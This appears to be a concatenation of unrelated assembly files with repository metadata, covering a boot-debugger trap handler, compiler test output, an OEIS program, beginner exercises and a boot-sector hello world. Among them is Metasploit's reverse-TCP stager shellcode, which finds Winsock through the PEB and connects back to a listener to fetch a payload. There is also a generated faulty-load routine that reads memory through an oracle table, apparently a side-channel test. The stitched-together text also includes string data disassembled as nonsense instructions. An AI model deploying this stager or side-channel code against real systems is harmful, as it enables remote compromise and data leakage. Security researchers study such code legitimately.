_BdDispatch ; dispatch exception jmp _BdTrap0e10 ; repeat _BdTrap0e@0 endp page ,132 subttl "Debug Service" ;++ ; ; Routine Description: ; ; Handle int 2d (debug service). ; ; The trap is caused by an int 2d instruction. This instruction is used ; instead of an int 3 instruction so parameters can be passed to the ; requested debug service. ; ; N.B. An int 3 instruction must immediately follow the int 2d instruction. ; ; Arguments: ; ; On entry the stack contains: ; ; eflags ; cs ; eip ; ; N.B. There are no privilege transitions in the boot debugger. Therefore, ; the none of the previous ss, esp, or V86 registers are saved. ; ; Service (eax) - Supplies the service to perform. ; Argument1 (ecx) - Supplies the first argument. ; Argument2 (edx) - Supplies the second argument. ; ;-- ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING align 16 public _BdTrap2d@0 _BdTrap2d@0 proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) ; ; Build trap frame minus the V86 and privilege level transition arguments. ; push 0 ; push dummy error code GENERATE_TRAP_FRAME ; generate trap frame ; ; Set exception parameters. ; mov eax, STATUS_BREAKPOINT ; set exception code mov ebx, [ebp] + TsEip ; set address of faulting instruction mov ecx, 3 ; set number of parameters mov edx, [ebp] + TsEax ; set service name mov edi, [ebp] + TsEcx ; set first argument value mov esi, [ebp] + TsEdx ; set second argument value call _BdDispatch ; dispatch exception jmp _BdExit ; dummy _BdTrap2d@0 endp page , 132 subttl "Exception Dispatch" ;++ ; ; Dispatch ; ; Routine Description: ; ; This functions allocates an exception record, initializes the exception ; record, and calls the general exception dispatch routine. ; ; Arguments: ; ; Code (eax) - Suppplies the exception code. ; Address (ebx) = Supplies the address of the exception. ; Number (ecx) = Supplies the number of parameters. ; Parameter1 (edx) - Supplies exception parameter 1; ; Parameter2 (edi) - Supplies exception parameter 2; ; Parameter3 (esi) - Supplies exception parameter 3. ; ; Return Value: ; ; None. ; ;-- align 16 public _BdDispatch _BdDispatch proc .FPO (ExceptionRecordLength / 4, 0, 0, 0, 0, FPO_TRAPFRAME) ; ; Allocate and initialize exception record. ; sub esp, ExceptionRecordLength ; allocate exception record mov [esp] + ErExceptionCode, eax ; set exception code xor eax, eax ; zero register mov [esp] + ErExceptionFlags, eax ; zero exception flags mov [esp] + ErExceptionRecord, eax ; zero associated exception record mov [esp] + ErExceptionAddress, ebx ; set exception address mov [esp] + ErNumberParameters, ecx ; set number of parameters mov [esp] + ErExceptionInformation + 0, edx ; set parameter 1 mov [esp] + ErExceptionInformation + 4, edi ; set parameter 2 mov [esp] + ErExceptionInformation + 8, esi ; set parameter 3 ; ; Save debug registers in trap frame. ; mov eax, dr0 ; save dr0 mov [ebp] + TsDr0, eax ; mov eax, dr1 ; save dr1 mov [ebp] + TsDr1, eax ; mov eax, dr2 ; save dr2 mov [ebp] + TsDr2, eax ; mov eax, dr3 ; save dr3 mov [ebp] + TsDr3, eax ; mov eax, dr6 ; save dr6 mov [ebp] + TsDr6, eax ; mov eax, dr7 ; save dr7 mov [ebp] + TsDr7, eax ; ; ; Save previous stack address and segment selector. ; mov eax, ss ; save stack segment register mov [ebp] + TsTempSegCs, eax ; mov [ebp] + TsTempEsp, ebp ; compute previous stack address add [ebp] + TsTempEsp, TsEFlags + 4 ; ; ; Call the general exception dispatcher. ; mov ecx, esp ; set address of exception record push ebp ; push address of trap frame push 0 ; push address of exception frame push ecx ; push address of exception record call [_BdDebugRoutine] ; call dispatch routine add esp, ExceptionRecordLength ; deallocate exception record ret ; _BdDispatch endp page ,132 subttl "Common Trap Exit" ;++ ; ; Exit ; ; Routine Description: ; ; This code is transfered to at the end of the processing for an exception. ; Its function is to restore machine state and continue execution. ; ; Arguments: ; ; ebp - Supplies the address of the trap frame. ; ; Return Value: ; ; None. ; ;-- align 16 public _BdExit _BdExit proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) lea esp, [ebp] + TsSegGs ; get address of save area pop gs ; restore segment registers pop es ; pop ds ; pop edx ; restore volatile registers pop ecx ; pop eax ; add esp, 8 ; remove mode and exception list pop fs ; restore FS segment register pop edi ; restore nonvolatile registers pop esi ; pop ebx ; pop ebp ; add esp, 4 ; remove error code iretd ; return _BdExit endp _TEXT$00 ends end
27.308765
82
0.520169
ddd85e877f2f90cc39a6b694317bdabb00a788f2
1,198
asm
Assembly
external/source/shellcode/windows/stager_reverse_ord_tcp.asm
OsmanDere/metasploit-framework
b7a014a5d22d3b57157e301d4af57e3a31ad03a9
[ "BSD-2-Clause", "BSD-3-Clause" ]
26,932
2015-01-01T00:04:51.000Z
2022-03-31T22:51:38.000Z
external/source/shellcode/windows/stager_reverse_ord_tcp.asm
Kilo-411/metasploit-framework
aaf27d7fa51390895dea63c58cb3b76e959d36f8
[ "BSD-2-Clause", "BSD-3-Clause" ]
11,048
2015-01-01T00:05:44.000Z
2022-03-31T21:49:52.000Z
external/source/shellcode/windows/stager_reverse_ord_tcp.asm
Kilo-411/metasploit-framework
aaf27d7fa51390895dea63c58cb3b76e959d36f8
[ "BSD-2-Clause", "BSD-3-Clause" ]
12,593
2015-01-01T01:01:20.000Z
2022-03-31T22:13:32.000Z
; ; Metasploit Framework ; http://www.metasploit.com ; ; Source for reverse_ord_tcp (stager) ; ; Authors: hdm <hdm@metasploit.com>, vlad902 <vlad902@gmail.com>, spoonm <spoonm@no$email.com> ; Size : 179 ; cld xor ebx,ebx mov eax,[fs:ebx+0x30] mov eax,[eax+0xc] mov edx,[eax+0x1c] mov edx,[edx] mov esi,[edx+0x20] lodsd lodsd dec esi add eax,[esi] cmp eax,0x325f3332 jnz 0xd mov ebp,[edx+0x8] mov eax,[ebp+0x3c] mov ecx,[ebp+eax+0x78] mov ecx,[ebp+ecx+0x1c] add ecx,ebp mov eax,[ecx+0x58] add eax,ebp mov esi,[ecx+0x3c] add esi,ebp add ebp,[ecx+0xc] push ebx push byte +0x1 push byte +0x2 call eax xchg eax,edi push dword 0x100007f push dword 0x5c110002 mov ecx,esp push ebx mov bh,0xc push ebx push ecx push edi push ecx push byte +0x10 push ecx push edi push esi jmp ebp arpl [ebp+0x64],bp gs js 0xc9 and [edi],ch arpl [eax],sp outsb gs jz 0x8c jnz 0xe1 gs jc 0x91 insd gs jz 0xd6 jnc 0xe7 insb outsd imul esi,[eax+0x20],dword 0x4444412f and [esi],ah and [es:esi+0x65],ch jz 0xa9 insb outsd arpl [ecx+0x6c],sp a16 jc 0x100 jnz 0x103 and [ecx+0x64],al insd imul ebp,[esi+0x69],dword 0x61727473 jz 0x10f jc 0x115 and [ebp+0x65],ch jz 0x108 jnc 0x119 insb outsd imul esi,[eax+0x2f],dword 0x444441
13.930233
94
0.731219
43ddd21c6054767df24dfe1f37129c841b14be6a
8,126
asm
Assembly
testdata/nostromo/uart16550/expected-driver.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
testdata/nostromo/uart16550/expected-driver.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
testdata/nostromo/uart16550/expected-driver.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
.seg code .nostromo.uart16550.fakeBase.write8: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.fakeBase.cctor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.fakeBase.cdtor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.driver.write8: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.driver.cctor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.driver.cdtor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .nostromo.uart16550.driver_vtbl_inst: goto, .nostromo.uart16550.driver.write8 .seg code .nostromo.uart16550.fakeBase_vtbl_inst: goto, .nostromo.uart16550.fakeBase.write8 .seg code .nostromo.uart16550.driver_sctor: push, rbp push, rbx mov, rbp, rsp sub, rsp, 32 call, .nostromo.uart16550.fakeBase_sctor ; (call label) add, rsp, 32 lea, rbx, qwordptr .nostromo.uart16550.driver_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .nostromo.uart16550.driver.cctor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .nostromo.uart16550.driver_sdtor: push, rbp push, rbx mov, rbp, rsp lea, rbx, qwordptr .nostromo.uart16550.driver_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .nostromo.uart16550.driver.cdtor ; (call label) add, rsp, 32 sub, rsp, 32 call, .nostromo.uart16550.fakeBase_sdtor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .nostromo.uart16550.fakeBase_sctor: push, rbp push, rbx mov, rbp, rsp sub, rsp, 32 call, .sht.core.object_sctor ; (call label) add, rsp, 32 lea, rbx, qwordptr .nostromo.uart16550.fakeBase_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .nostromo.uart16550.fakeBase.cctor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .nostromo.uart16550.fakeBase_sdtor: push, rbp push, rbx mov, rbp, rsp lea, rbx, qwordptr .nostromo.uart16550.fakeBase_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .nostromo.uart16550.fakeBase.cdtor ; (call label) add, rsp, 32 sub, rsp, 32 call, .sht.core.object_sdtor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret
62.992248
108
0.19493
7fc6338cae0011749da745ddfea8a54c098b2d9b
5,553
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2825.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2825.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2825.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x90a6, %rsi lea addresses_UC_ht+0xcb1e, %rdi clflush (%rdi) nop nop add $33067, %r12 mov $122, %rcx rep movsq nop nop sub %rsi, %rsi lea addresses_D_ht+0x16416, %rbx nop nop nop dec %rdx mov (%rbx), %di xor $39736, %rbx lea addresses_WT_ht+0x2e66, %rbx nop nop nop and %r9, %r9 movb $0x61, (%rbx) nop nop nop xor $58342, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rax push %rbx push %rsi // Load lea addresses_A+0xd1a6, %rbx xor $24497, %r15 movb (%rbx), %al nop xor $3663, %r14 // Store lea addresses_A+0xefb6, %rbx nop nop nop nop dec %r11 movb $0x51, (%rbx) nop nop nop and $10494, %rax // Store lea addresses_A+0xb04, %rsi nop inc %rax movb $0x51, (%rsi) nop nop dec %rbx // Store mov $0x7e6, %r9 nop nop cmp %r15, %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm5 vmovups %ymm5, (%r9) nop nop nop nop and %r11, %r11 // Faulty Load lea addresses_normal+0x16ce6, %r11 nop add $40238, %r14 movups (%r11), %xmm3 vpextrq $1, %xmm3, %rbx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rbx pop %rax pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
40.830882
2,999
0.654241
431eb351e7c8016c651f7564b413bbeafa266b57
706
asm
Assembly
oeis/337/A337566.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/337/A337566.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/337/A337566.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A337566: a(n) is the number of possible decompositions of the polynomial n * (x + x^2 + ... + x^q), where q>1, into a sum of k polynomials, not necessarily all different; each of these polynomials is to be of the form b_1 * x + b_2 * x^2 + ... + b_q * x^q where each b_i is one of the numbers 1, 2, 3, ..., q and no two b_i are equal. ; Submitted by Jamie Morken(s3) ; 0,0,1,1,1,3,1,2,3,3,1,5,1,3,5,3,1,6,1,5,5,3,1,7,3,3,5,5,1,9,1,4,5,3,5,9,1,3,5,7,1,9,1,5,9,3,1,9,3,6,5,5,1,9,5,7,5,3,1,13,1,3,9,5,5,9,1,5,5,9,1,12,1,3,9,5,5,9,1,9,7,3,1,13,5,3,5,7,1,15,5,5 add $0,1 mov $2,$0 mul $2,2 lpb $0 mov $3,$2 dif $3,$0 sub $0,1 cmp $3,$2 cmp $3,0 add $4,$3 lpe mul $4,2 mov $0,$4 sub $0,1 div $0,2
35.3
336
0.587819
b8e43b7d33dada863ad03b0b34a18046b8cf2530
286
asm
Assembly
basic/08.input.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/08.input.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/08.input.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
%include "io64.inc" section .text global CMAIN CMAIN: ;write your code here ;GET_DEC 크기, 주소[또는 레지스터] ;GET_HEX 크기, 주소[또는 레지스터] GET_DEC 1, a PRINT_DEC 1, a NEWLINE GET_HEX 2, ax PRINT_HEX 2, ax xor rax, rax ret section .bss a resb 1
14.3
28
0.590909
34608dee13bbb54f67927c892899d5f2c4fffe35
5,431
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_326.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_326.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_326.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rdi push %rdx push %rsi lea addresses_UC_ht+0x706d, %r9 nop nop nop nop nop cmp %rsi, %rsi vmovups (%r9), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r10 nop nop nop nop nop xor $25563, %rdi lea addresses_UC_ht+0x1a414, %rdi nop nop nop nop sub %r11, %r11 mov $0x6162636465666768, %rdx movq %rdx, %xmm5 movups %xmm5, (%rdi) nop nop nop nop nop and %r11, %r11 lea addresses_A_ht+0x8e9d, %rdx nop xor %rsi, %rsi mov (%rdx), %r9w nop dec %rdi pop %rsi pop %rdx pop %rdi pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi // Store lea addresses_UC+0xf414, %rbx nop nop nop nop nop sub $57383, %r12 movb $0x51, (%rbx) nop nop add %rcx, %rcx // REPMOV lea addresses_PSE+0x19eb4, %rsi lea addresses_WC+0x19950, %rdi nop nop nop nop cmp $6591, %r9 mov $56, %rcx rep movsl nop nop nop dec %rbp // Load lea addresses_WC+0x18214, %r12 nop nop cmp $1438, %r15 mov (%r12), %cx nop xor %rcx, %rcx // Faulty Load lea addresses_WT+0x1e14, %rdi nop nop nop nop inc %rbp movups (%rdi), %xmm4 vpextrq $1, %xmm4, %rsi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
38.51773
2,999
0.656969
be2411133690ece43ddbb7e282fc3c90628821b8
223
asm
Assembly
oeis/003/A003035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/003/A003035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/003/A003035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A003035: Maximal number of 3-tree rows in n-tree orchard problem. ; Submitted by Christian Krause ; 0,0,1,1,2,4,6,7,10,12,16,19,22,26 mov $2,$0 mul $2,$0 div $2,2 add $2,5 mul $2,7 sub $2,$0 div $2,22 mov $0,$2 sub $0,1
15.928571
67
0.64574
3d10967f10e62ff875444baacd178a24dbe1e2aa
606
asm
Assembly
x86/helloObserveUniverse.asm
ovictoraurelio/assembly-lessons
3c3041a9746a08f7466df4769008d1099e0869be
[ "MIT" ]
1
2018-12-09T14:17:05.000Z
2018-12-09T14:17:05.000Z
x86/helloObserveUniverse.asm
ovictoraurelio/assembly-lessons
3c3041a9746a08f7466df4769008d1099e0869be
[ "MIT" ]
null
null
null
x86/helloObserveUniverse.asm
ovictoraurelio/assembly-lessons
3c3041a9746a08f7466df4769008d1099e0869be
[ "MIT" ]
null
null
null
org 0x7c00 ;this command ; ♥ ♥ ♥ ♥ ♥ ; Assembly is love ; @ovictoraurelio jmp 0x0000:start string: db "Hello Observe Universe", 13, 10, 0 start: ; ax is a reg to geral use ; ds mov ax,0 ;ax = 0 mov ds,ax ;ds = 0 mov cl,0 ;cl = 0 ; load first memory postion of my string on SI (source) mov si, string print: lodsb ; load al, si index and si++ cmp cl,al ; compare al with 0 (0, was set as end of string) je end mov ah,0xe ; instruction to show on screen mov bh, 13h int 10h ; call video interrupt jmp print end: jmp $ times 510 - ($ - $$) db 0 dw 0xaa55
14.093023
61
0.615512
